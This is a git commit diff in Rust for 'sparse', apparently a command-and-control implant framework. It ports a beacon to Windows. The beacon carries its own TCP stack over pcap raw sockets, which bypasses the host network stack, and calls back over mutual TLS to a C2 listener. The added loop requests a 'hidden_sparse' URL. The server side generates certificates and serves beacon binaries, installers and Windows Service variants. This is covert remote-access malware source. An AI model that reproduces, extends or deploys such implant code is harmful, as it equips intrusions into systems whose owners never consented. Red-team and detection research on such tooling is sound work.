feat: made sure everything worked on Windows
This commit is contained in:
parent
c0fe4f2bdb
commit
4e0944e4c1
8
Cargo.lock
generated
8
Cargo.lock
generated
@ -3496,8 +3496,14 @@ name = "sparse-windows-beacon"
|
|||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anyhow",
|
"anyhow",
|
||||||
"pcap-sys",
|
"async-trait",
|
||||||
|
"sparse-actions",
|
||||||
|
"sparse-beacon",
|
||||||
|
"thiserror 2.0.11",
|
||||||
|
"tokio",
|
||||||
"windows",
|
"windows",
|
||||||
|
"windows-result",
|
||||||
|
"windows-strings",
|
||||||
"winreg",
|
"winreg",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
@ -163,7 +163,6 @@ extern "C" {
|
|||||||
pub fn pcap_setfilter(dev: *mut PcapDev, fp: *const BpfProgram) -> c_int;
|
pub fn pcap_setfilter(dev: *mut PcapDev, fp: *const BpfProgram) -> c_int;
|
||||||
pub fn pcap_sendpacket(p: *mut PcapDev, buf: *const c_uchar, size: c_int) -> c_int;
|
pub fn pcap_sendpacket(p: *mut PcapDev, buf: *const c_uchar, size: c_int) -> c_int;
|
||||||
pub fn pcap_setnonblock(dev: *mut PcapDev, nonblock: c_int, errbuf: *mut c_char) -> c_int;
|
pub fn pcap_setnonblock(dev: *mut PcapDev, nonblock: c_int, errbuf: *mut c_char) -> c_int;
|
||||||
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
|
|
||||||
pub fn pcap_next_ex(
|
pub fn pcap_next_ex(
|
||||||
p: *mut PcapDev,
|
p: *mut PcapDev,
|
||||||
header: *mut *mut PktHeader,
|
header: *mut *mut PktHeader,
|
||||||
@ -175,3 +174,8 @@ extern "C" {
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE;
|
pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
extern "C" {
|
||||||
|
pub fn pcap_get_selectable_fd(p: *mut PcapDev) -> c_int;
|
||||||
|
}
|
||||||
|
|||||||
@ -406,18 +406,18 @@ unsafe impl Sync for WaitHandle {}
|
|||||||
impl WaitHandle {
|
impl WaitHandle {
|
||||||
#[cfg(windows)]
|
#[cfg(windows)]
|
||||||
pub fn wait(&self, timeout: Option<Duration>) -> error::Result<()> {
|
pub fn wait(&self, timeout: Option<Duration>) -> error::Result<()> {
|
||||||
use windows::Win32::System::Threading::{WaitForSingleObject, INFINITE};
|
use windows::Win32::System::Threading::WaitForSingleObject;
|
||||||
|
|
||||||
let timeout = timeout
|
let timeout = timeout
|
||||||
.map(|t| (t.as_millis() & 0xFFFFFFFF) as u32)
|
.map(|t| (t.as_millis() & 0xFFFFFFFF) as u32)
|
||||||
.unwrap_or(50);
|
.unwrap_or(50);
|
||||||
|
|
||||||
unsafe {
|
let code = unsafe { WaitForSingleObject(self.0, timeout).0 };
|
||||||
if WaitForSingleObject(self.0, timeout).0 != 0 {
|
|
||||||
Err(std::io::Error::last_os_error()).map_err(Into::into)
|
if code == 0 || code == 0x102 {
|
||||||
} else {
|
Ok(())
|
||||||
Ok(())
|
} else {
|
||||||
}
|
Err(std::io::Error::last_os_error()).map_err(Into::into)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -9,6 +9,7 @@ pub struct BeaconRoute {
|
|||||||
pub interface_index: usize,
|
pub interface_index: usize,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
pub struct BeaconNetworkingInfo {
|
pub struct BeaconNetworkingInfo {
|
||||||
pub routes: Vec<BeaconRoute>,
|
pub routes: Vec<BeaconRoute>,
|
||||||
pub interfaces: Vec<BeaconInterface>,
|
pub interfaces: Vec<BeaconInterface>,
|
||||||
|
|||||||
@ -1,32 +1,40 @@
|
|||||||
use std::{future::Future, pin::Pin, task::{self, Poll}};
|
use std::{
|
||||||
|
future::Future,
|
||||||
|
pin::Pin,
|
||||||
|
task::{self, Poll},
|
||||||
|
};
|
||||||
|
|
||||||
use http::Uri;
|
use http::Uri;
|
||||||
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
|
use hyper_util::{
|
||||||
|
client::legacy::Client,
|
||||||
|
rt::{TokioExecutor, TokioIo},
|
||||||
|
};
|
||||||
use rustls::RootCertStore;
|
use rustls::RootCertStore;
|
||||||
use tower_service::Service;
|
use tower_service::Service;
|
||||||
|
|
||||||
use sparse_actions::payload_types::Parameters;
|
use sparse_actions::payload_types::Parameters;
|
||||||
|
|
||||||
use crate::{adapter, error, tcp::{self, setup_network}};
|
use crate::{
|
||||||
|
adapter, error,
|
||||||
|
tcp::{self, setup_network},
|
||||||
|
};
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub struct ServerConnector<T>
|
pub struct ServerConnector<T>
|
||||||
where
|
where
|
||||||
T: adapter::BeaconAdapter + Clone + Send + 'static
|
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||||
{
|
{
|
||||||
adapter: T,
|
adapter: T,
|
||||||
parameters: Parameters
|
parameters: Parameters,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<T> Service<Uri> for ServerConnector<T>
|
impl<T> Service<Uri> for ServerConnector<T>
|
||||||
where
|
where
|
||||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
|
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||||
{
|
{
|
||||||
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
||||||
type Error = error::BeaconError<T::Error>;
|
type Error = error::BeaconError<T::Error>;
|
||||||
type Future = Pin<Box<
|
type Future = Pin<Box<dyn Future<Output = Result<Self::Response, Self::Error>> + Send>>;
|
||||||
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
|
|
||||||
>>;
|
|
||||||
|
|
||||||
fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll<Result<(), Self::Error>> {
|
fn poll_ready(&mut self, _: &mut task::Context<'_>) -> Poll<Result<(), Self::Error>> {
|
||||||
Poll::Ready(Ok(()))
|
Poll::Ready(Ok(()))
|
||||||
@ -36,11 +44,7 @@ where
|
|||||||
Box::pin({
|
Box::pin({
|
||||||
let adapter = self.adapter.clone();
|
let adapter = self.adapter.clone();
|
||||||
let params = self.parameters.clone();
|
let params = self.parameters.clone();
|
||||||
async move {
|
async move { setup_network(adapter, params).await.map(TokioIo::new) }
|
||||||
setup_network(adapter, params)
|
|
||||||
.await
|
|
||||||
.map(TokioIo::new)
|
|
||||||
}
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -52,32 +56,27 @@ pub async fn obtain_https_client<T, B>(
|
|||||||
where
|
where
|
||||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||||
B: hyper::body::Body + Send,
|
B: hyper::body::Body + Send,
|
||||||
<B as hyper::body::Body>::Data: Send
|
<B as hyper::body::Body>::Data: Send,
|
||||||
{
|
{
|
||||||
let server_cert = rustls::pki_types::CertificateDer::from(
|
let server_cert = rustls::pki_types::CertificateDer::from(
|
||||||
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
|
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let client_cert = rustls::pki_types::CertificateDer::from(
|
let client_cert = rustls::pki_types::CertificateDer::from(
|
||||||
parameters.client_cert[..parameters.client_cert_length as usize].to_owned()
|
parameters.client_cert[..parameters.client_cert_length as usize].to_owned(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let client_key = rustls::pki_types::PrivateKeyDer::try_from(
|
let client_key = rustls::pki_types::PrivateKeyDer::try_from(
|
||||||
parameters.client_key[..parameters.client_key_length as usize].to_owned()
|
parameters.client_key[..parameters.client_key_length as usize].to_owned(),
|
||||||
)
|
)
|
||||||
.map_err(|_| rustls::Error::InvalidCertificate(
|
.map_err(|_| rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding))?;
|
||||||
rustls::CertificateError::BadEncoding
|
|
||||||
))?;
|
|
||||||
|
|
||||||
let mut root_store = RootCertStore::empty();
|
let mut root_store = RootCertStore::empty();
|
||||||
root_store.add(server_cert.clone())?;
|
root_store.add(server_cert.clone())?;
|
||||||
|
|
||||||
let tls_config = rustls::ClientConfig::builder()
|
let tls_config = rustls::ClientConfig::builder()
|
||||||
.with_root_certificates(root_store)
|
.with_root_certificates(root_store)
|
||||||
.with_client_auth_cert(
|
.with_client_auth_cert(vec![client_cert, server_cert], client_key)?;
|
||||||
vec![client_cert, server_cert],
|
|
||||||
client_key
|
|
||||||
)?;
|
|
||||||
|
|
||||||
let https = hyper_rustls::HttpsConnectorBuilder::new()
|
let https = hyper_rustls::HttpsConnectorBuilder::new()
|
||||||
.with_tls_config(tls_config)
|
.with_tls_config(tls_config)
|
||||||
@ -86,11 +85,10 @@ where
|
|||||||
.enable_http2()
|
.enable_http2()
|
||||||
.wrap_connector(ServerConnector {
|
.wrap_connector(ServerConnector {
|
||||||
adapter: adapter.clone(),
|
adapter: adapter.clone(),
|
||||||
parameters: parameters.clone()
|
parameters: parameters.clone(),
|
||||||
});
|
});
|
||||||
|
|
||||||
let client = Client::builder(TokioExecutor::new())
|
let client = Client::builder(TokioExecutor::new()).build(https);
|
||||||
.build(https);
|
|
||||||
|
|
||||||
Ok(client)
|
Ok(client)
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,5 +1,8 @@
|
|||||||
use sparse_actions::payload_types::Parameters;
|
use sparse_actions::payload_types::Parameters;
|
||||||
|
|
||||||
|
use http_body_util::{BodyExt, Empty};
|
||||||
|
use hyper::Request;
|
||||||
|
|
||||||
mod callback;
|
mod callback;
|
||||||
mod socket;
|
mod socket;
|
||||||
mod tcp;
|
mod tcp;
|
||||||
@ -8,10 +11,26 @@ pub mod adapter;
|
|||||||
pub mod error;
|
pub mod error;
|
||||||
pub use error::BeaconError;
|
pub use error::BeaconError;
|
||||||
|
|
||||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
|
pub async fn run_beacon_step<A>(
|
||||||
|
host_adapter: A,
|
||||||
|
params: Parameters,
|
||||||
|
) -> Result<(), BeaconError<A::Error>>
|
||||||
where
|
where
|
||||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||||
{
|
{
|
||||||
|
let client = callback::obtain_https_client(&host_adapter, ¶ms).await?;
|
||||||
|
|
||||||
|
for _ in 1..5 {
|
||||||
|
let req = Request::builder()
|
||||||
|
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
|
||||||
|
.body(Empty::<bytes::Bytes>::new())?;
|
||||||
|
let resp = client.request(req).await?;
|
||||||
|
|
||||||
|
println!("{:?} {:?}", resp.version(), resp.status());
|
||||||
|
let body = resp.into_body();
|
||||||
|
let body = body.collect().await;
|
||||||
|
println!("{:?}", body);
|
||||||
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -35,7 +35,11 @@ impl RawSocket {
|
|||||||
|
|
||||||
lower.activate()?;
|
lower.activate()?;
|
||||||
|
|
||||||
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
if cfg!(target_os = "linux") {
|
||||||
|
lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?;
|
||||||
|
} else {
|
||||||
|
lower.set_filter(&format!("arp or tcp port {port}"), true, None)?;
|
||||||
|
}
|
||||||
|
|
||||||
Ok(Self {
|
Ok(Self {
|
||||||
inner: SocketInner { lower },
|
inner: SocketInner { lower },
|
||||||
|
|||||||
@ -5,6 +5,7 @@ use std::{
|
|||||||
task::{Context, Poll},
|
task::{Context, Poll},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
use hyper_util::client::legacy::connect;
|
||||||
use smoltcp::{
|
use smoltcp::{
|
||||||
iface::{Config, Interface, SocketHandle, SocketSet},
|
iface::{Config, Interface, SocketHandle, SocketSet},
|
||||||
socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
|
socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State},
|
||||||
@ -13,10 +14,9 @@ use smoltcp::{
|
|||||||
};
|
};
|
||||||
use tokio::{
|
use tokio::{
|
||||||
io::{AsyncRead, AsyncWrite},
|
io::{AsyncRead, AsyncWrite},
|
||||||
|
sync::broadcast,
|
||||||
task::{spawn_blocking, JoinHandle},
|
task::{spawn_blocking, JoinHandle},
|
||||||
sync::broadcast
|
|
||||||
};
|
};
|
||||||
use hyper_util::client::legacy::connect;
|
|
||||||
|
|
||||||
use sparse_actions::payload_types::Parameters;
|
use sparse_actions::payload_types::Parameters;
|
||||||
|
|
||||||
@ -32,7 +32,6 @@ pub struct NetInterfaceHandle {
|
|||||||
|
|
||||||
impl Drop for NetInterfaceHandle {
|
impl Drop for NetInterfaceHandle {
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
println!("Running drop for net interface handle; {} copies exist", Arc::strong_count(&self.net));
|
|
||||||
let _ = self.close_background.send(());
|
let _ = self.close_background.send(());
|
||||||
self.background_process.abort();
|
self.background_process.abort();
|
||||||
}
|
}
|
||||||
@ -288,33 +287,33 @@ where
|
|||||||
|
|
||||||
ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
|
ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?;
|
||||||
}
|
}
|
||||||
|
if cfg!(debug_assertions) {
|
||||||
|
println!("Connected!");
|
||||||
|
}
|
||||||
|
|
||||||
let net = Arc::new(Mutex::new((sockets, device, iface)));
|
let net = Arc::new(Mutex::new((sockets, device, iface)));
|
||||||
|
|
||||||
let background_process = spawn_blocking({
|
let background_process = spawn_blocking({
|
||||||
let net = Arc::clone(&net);
|
let net = Arc::clone(&net);
|
||||||
|
|
||||||
move || {
|
move || loop {
|
||||||
loop {
|
if close_background_recv.try_recv().is_ok() {
|
||||||
if close_background_recv.try_recv().is_ok() {
|
break;
|
||||||
println!("Running drop for background thread; {} copies exist", Arc::strong_count(&net));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
let delay = {
|
|
||||||
let Ok(mut guard) = net.lock() else {
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
|
|
||||||
|
|
||||||
let timestamp = Instant::now();
|
|
||||||
i_guard.poll(timestamp, d_guard, s_guard);
|
|
||||||
|
|
||||||
i_guard.poll_delay(timestamp, s_guard)
|
|
||||||
};
|
|
||||||
|
|
||||||
let _ = ready_wait.wait(delay.map(Into::into));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let delay = {
|
||||||
|
let Ok(mut guard) = net.lock() else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
|
||||||
|
|
||||||
|
let timestamp = Instant::now();
|
||||||
|
i_guard.poll(timestamp, d_guard, s_guard);
|
||||||
|
|
||||||
|
i_guard.poll_delay(timestamp, s_guard)
|
||||||
|
};
|
||||||
|
|
||||||
|
let _ = ready_wait.wait(delay.map(Into::into));
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@ -5,7 +5,7 @@ use std::{
|
|||||||
|
|
||||||
use axum::routing::{Router, get, post};
|
use axum::routing::{Router, get, post};
|
||||||
use rcgen::{Certificate, CertificateParams, KeyPair};
|
use rcgen::{Certificate, CertificateParams, KeyPair};
|
||||||
use rustls::{server::WebPkiClientVerifier, RootCertStore};
|
use rustls::{RootCertStore, server::WebPkiClientVerifier};
|
||||||
use sqlx::SqlitePool;
|
use sqlx::SqlitePool;
|
||||||
use tokio::task::JoinHandle;
|
use tokio::task::JoinHandle;
|
||||||
|
|
||||||
@ -129,9 +129,7 @@ pub async fn start_listener(
|
|||||||
let ca_cert = ca_params.self_signed(&ca_keypair)?;
|
let ca_cert = ca_params.self_signed(&ca_keypair)?;
|
||||||
|
|
||||||
let server_key = KeyPair::generate()?;
|
let server_key = KeyPair::generate()?;
|
||||||
let Ok(server_params) = CertificateParams::new(
|
let Ok(server_params) = CertificateParams::new(vec![listener.domain_name.clone()]) else {
|
||||||
vec![listener.domain_name.clone()]
|
|
||||||
) else {
|
|
||||||
return Err(crate::error::Error::Generic(format!(
|
return Err(crate::error::Error::Generic(format!(
|
||||||
"Could not generate new server keychain"
|
"Could not generate new server keychain"
|
||||||
)));
|
)));
|
||||||
@ -154,8 +152,7 @@ pub async fn start_listener(
|
|||||||
let mut root_store = RootCertStore::empty();
|
let mut root_store = RootCertStore::empty();
|
||||||
root_store.add(ca_cert)?;
|
root_store.add(ca_cert)?;
|
||||||
|
|
||||||
let client_verifier = WebPkiClientVerifier::builder(root_store.into())
|
let client_verifier = WebPkiClientVerifier::builder(root_store.into()).build()?;
|
||||||
.build()?;
|
|
||||||
|
|
||||||
let mut tls_config = rustls::ServerConfig::builder()
|
let mut tls_config = rustls::ServerConfig::builder()
|
||||||
.with_client_cert_verifier(client_verifier)
|
.with_client_cert_verifier(client_verifier)
|
||||||
|
|||||||
@ -458,7 +458,7 @@ pub fn DisplayTemplates(
|
|||||||
"Download beacon (Windows Service)"
|
"Download beacon (Windows Service)"
|
||||||
</a>
|
</a>
|
||||||
})}
|
})}
|
||||||
{(template.operating_system != "windows")
|
{/*(template.operating_system != "windows")
|
||||||
.then(|| view! {
|
.then(|| view! {
|
||||||
<a
|
<a
|
||||||
class="button"
|
class="button"
|
||||||
@ -467,7 +467,7 @@ pub fn DisplayTemplates(
|
|||||||
>
|
>
|
||||||
"Download beacon (Unix loader)"
|
"Download beacon (Unix loader)"
|
||||||
</a>
|
</a>
|
||||||
})}
|
})*/}
|
||||||
<button
|
<button
|
||||||
on:click={
|
on:click={
|
||||||
let template_id = template.template_id;
|
let template_id = template.template_id;
|
||||||
|
|||||||
@ -23,13 +23,12 @@ pub(crate) mod beacon_binaries {
|
|||||||
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
|
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
|
||||||
|
|
||||||
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
|
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
|
||||||
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
pub const LINUX_BEACON_LOADER: &'static [u8] =
|
||||||
pub const FREEBSD_BEACON: &'static [u8] =
|
include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
||||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
pub const FREEBSD_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
||||||
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
|
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
|
||||||
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
|
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
|
||||||
pub const WINDOWS_BEACON: &'static [u8] =
|
pub const WINDOWS_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
||||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
|
||||||
pub const WINDOWS_BEACON_SVC: &'static [u8] =
|
pub const WINDOWS_BEACON_SVC: &'static [u8] =
|
||||||
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
|
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
|
||||||
}
|
}
|
||||||
@ -103,7 +102,7 @@ pub struct AppState {
|
|||||||
|
|
||||||
async fn get_parameters_bytes(
|
async fn get_parameters_bytes(
|
||||||
template_id: i64,
|
template_id: i64,
|
||||||
db: SqlitePool
|
db: SqlitePool,
|
||||||
) -> Result<(Vec<u8>, String), crate::error::Error> {
|
) -> Result<(Vec<u8>, String), crate::error::Error> {
|
||||||
use rand::{rngs::OsRng, TryRngCore};
|
use rand::{rngs::OsRng, TryRngCore};
|
||||||
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
||||||
@ -118,7 +117,9 @@ async fn get_parameters_bytes(
|
|||||||
r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
|
r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
|
||||||
source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
|
source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
|
||||||
source_interface
|
source_interface
|
||||||
FROM beacon_template JOIN beacon_listener"
|
FROM beacon_template JOIN beacon_listener
|
||||||
|
WHERE template_id = ?",
|
||||||
|
template_id
|
||||||
)
|
)
|
||||||
.fetch_one(&db)
|
.fetch_one(&db)
|
||||||
.await?;
|
.await?;
|
||||||
@ -234,17 +235,18 @@ pub struct BeaconDownloadParams {
|
|||||||
pub async fn download_beacon(
|
pub async fn download_beacon(
|
||||||
Path(template_id): Path<i64>,
|
Path(template_id): Path<i64>,
|
||||||
State(db): State<AppState>,
|
State(db): State<AppState>,
|
||||||
Query(beacon_params): Query<BeaconDownloadParams>
|
Query(beacon_params): Query<BeaconDownloadParams>,
|
||||||
) -> Result<impl IntoResponse, crate::error::Error> {
|
) -> Result<impl IntoResponse, crate::error::Error> {
|
||||||
println!("Params: {beacon_params:?}");
|
|
||||||
|
|
||||||
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
||||||
|
|
||||||
let binary = if beacon_params.use_svc.unwrap_or_default() {
|
let binary = if beacon_params.use_svc.unwrap_or_default() {
|
||||||
|
tracing::debug!("Downloading windows service");
|
||||||
"windows-svc".to_string()
|
"windows-svc".to_string()
|
||||||
} else if beacon_params.use_loader.unwrap_or_default() {
|
} else if beacon_params.use_loader.unwrap_or_default() {
|
||||||
|
tracing::debug!("Downloading {operating_system} loader");
|
||||||
format!("{operating_system}-loader")
|
format!("{operating_system}-loader")
|
||||||
} else {
|
} else {
|
||||||
|
tracing::debug!("Downloading basic beacon for {operating_system}");
|
||||||
operating_system.clone()
|
operating_system.clone()
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -287,7 +289,7 @@ pub async fn download_beacon_installer(
|
|||||||
header::CONTENT_DISPOSITION,
|
header::CONTENT_DISPOSITION,
|
||||||
format!(
|
format!(
|
||||||
r#"attachement; filename="sparse-installer{}""#,
|
r#"attachement; filename="sparse-installer{}""#,
|
||||||
if operating_system.starts_with("windows") {
|
if operating_system.starts_with("windows") {
|
||||||
".exe"
|
".exe"
|
||||||
} else {
|
} else {
|
||||||
""
|
""
|
||||||
@ -322,7 +324,10 @@ pub async fn serve_web(
|
|||||||
};
|
};
|
||||||
|
|
||||||
let app = Router::new()
|
let app = Router::new()
|
||||||
.route("/binaries/installer/:template_id", get(download_beacon_installer))
|
.route(
|
||||||
|
"/binaries/installer/:template_id",
|
||||||
|
get(download_beacon_installer),
|
||||||
|
)
|
||||||
.route("/binaries/beacon/:template_id", get(download_beacon))
|
.route("/binaries/beacon/:template_id", get(download_beacon))
|
||||||
.leptos_routes_with_context(
|
.leptos_routes_with_context(
|
||||||
&state,
|
&state,
|
||||||
|
|||||||
@ -1,6 +1,6 @@
|
|||||||
use std::io::SeekFrom;
|
use std::io::SeekFrom;
|
||||||
|
|
||||||
use tokio::io::{AsyncSeekExt, AsyncReadExt};
|
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||||
|
|
||||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
use sparse_beacon::adapter::BeaconAdapter;
|
use sparse_beacon::adapter::BeaconAdapter;
|
||||||
|
|||||||
@ -8,8 +8,14 @@ crate-type = ["cdylib"]
|
|||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
anyhow = "1.0.95"
|
anyhow = "1.0.95"
|
||||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
async-trait = "0.1.86"
|
||||||
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
|
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
|
||||||
|
thiserror = "2.0.11"
|
||||||
|
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
|
||||||
|
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||||
|
windows-result = "0.3.0"
|
||||||
|
windows-strings = "0.3.0"
|
||||||
winreg = "0.55"
|
winreg = "0.55"
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
|
|||||||
169
sparse-windows-beacon/src/adapter.rs
Normal file
169
sparse-windows-beacon/src/adapter.rs
Normal file
@ -0,0 +1,169 @@
|
|||||||
|
use std::net::Ipv4Addr;
|
||||||
|
|
||||||
|
use sparse_beacon::{
|
||||||
|
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||||
|
error,
|
||||||
|
};
|
||||||
|
|
||||||
|
#[derive(thiserror::Error, Debug)]
|
||||||
|
pub enum WindowsAdapterError {
|
||||||
|
#[error("windows error")]
|
||||||
|
Win32(#[from] windows_result::Error),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct WindowsAdapter;
|
||||||
|
|
||||||
|
#[async_trait::async_trait]
|
||||||
|
impl BeaconAdapter for WindowsAdapter {
|
||||||
|
type Error = WindowsAdapterError;
|
||||||
|
|
||||||
|
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||||
|
[&br"\Device\NPF_"[..], &interface.name].concat()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
|
||||||
|
use std::slice;
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
fn nul_ptr_to_slice<'a, T>(ptr: *const T) -> &'a [T]
|
||||||
|
where
|
||||||
|
T: PartialEq + From<u8>,
|
||||||
|
{
|
||||||
|
let mut len = 0;
|
||||||
|
unsafe {
|
||||||
|
while *ptr.add(len) != T::from(0) {
|
||||||
|
len += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
slice::from_raw_parts(ptr, len)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
use windows::Win32::NetworkManagement::IpHelper::{
|
||||||
|
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
|
||||||
|
IP_ADAPTER_ADDRESSES_LH,
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut size_pointer: u32 = 0;
|
||||||
|
|
||||||
|
_ = GetAdaptersAddresses(
|
||||||
|
2,
|
||||||
|
GET_ADAPTERS_ADDRESSES_FLAGS(0),
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
&mut size_pointer as *mut _,
|
||||||
|
);
|
||||||
|
|
||||||
|
let mut address_buffer = vec![0; size_pointer as usize];
|
||||||
|
|
||||||
|
let err = GetAdaptersAddresses(
|
||||||
|
2,
|
||||||
|
GAA_FLAG_INCLUDE_GATEWAYS,
|
||||||
|
None,
|
||||||
|
Some(address_buffer.as_mut_ptr() as *mut _),
|
||||||
|
&mut size_pointer as *mut _,
|
||||||
|
);
|
||||||
|
|
||||||
|
if err != 0 {
|
||||||
|
Err(std::io::Error::last_os_error())?;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut current_address = address_buffer.as_mut_ptr() as *mut IP_ADAPTER_ADDRESSES_LH;
|
||||||
|
|
||||||
|
let mut routes = vec![];
|
||||||
|
let mut interfaces = vec![];
|
||||||
|
|
||||||
|
while !current_address.is_null() {
|
||||||
|
let name = nul_ptr_to_slice((*current_address).AdapterName.0 as *const _).to_vec();
|
||||||
|
let mtu = (*current_address).Mtu;
|
||||||
|
let Ok(mac_addr) = &(*current_address).PhysicalAddress
|
||||||
|
[..(*current_address).PhysicalAddressLength as usize]
|
||||||
|
.try_into()
|
||||||
|
else {
|
||||||
|
current_address = (*current_address).Next;
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
let interface_index = interfaces.len();
|
||||||
|
|
||||||
|
interfaces.push(BeaconInterface {
|
||||||
|
name,
|
||||||
|
mtu: mtu as u16,
|
||||||
|
mac_addr: *mac_addr,
|
||||||
|
});
|
||||||
|
|
||||||
|
let mut gateway = (*current_address).FirstGatewayAddress;
|
||||||
|
|
||||||
|
